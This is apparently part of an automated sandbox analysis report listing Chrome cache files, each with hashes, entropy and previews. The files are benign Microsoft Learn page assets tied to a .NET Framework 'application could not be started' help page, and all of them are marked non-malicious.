Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	195719
Entropy (8bit):	5.430057012529021
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVli2:Wof3G0NSkNzMeO7z/l3lh
MD5:	9445D8D43537540BC89651C93A9C3832
SHA1:	EC3066770D52DB58CB7E44C54C3ABAA40CEB121A
SHA-256:	586D6261C80CBF8CDEC59DE01F1A1D09B32C04E87431E4333A0BF4D8990C2755
SHA-512:	F2BB9BB14C24883499AF2FAD35EE95AF7BF3D9B0431D8072C54C9D5946C751E04D952F5AD5D937F6CBC7C56177FA2091A5A6F33318F2907E9D3628C28E7FFC9C
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=l0zocrLiVW.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
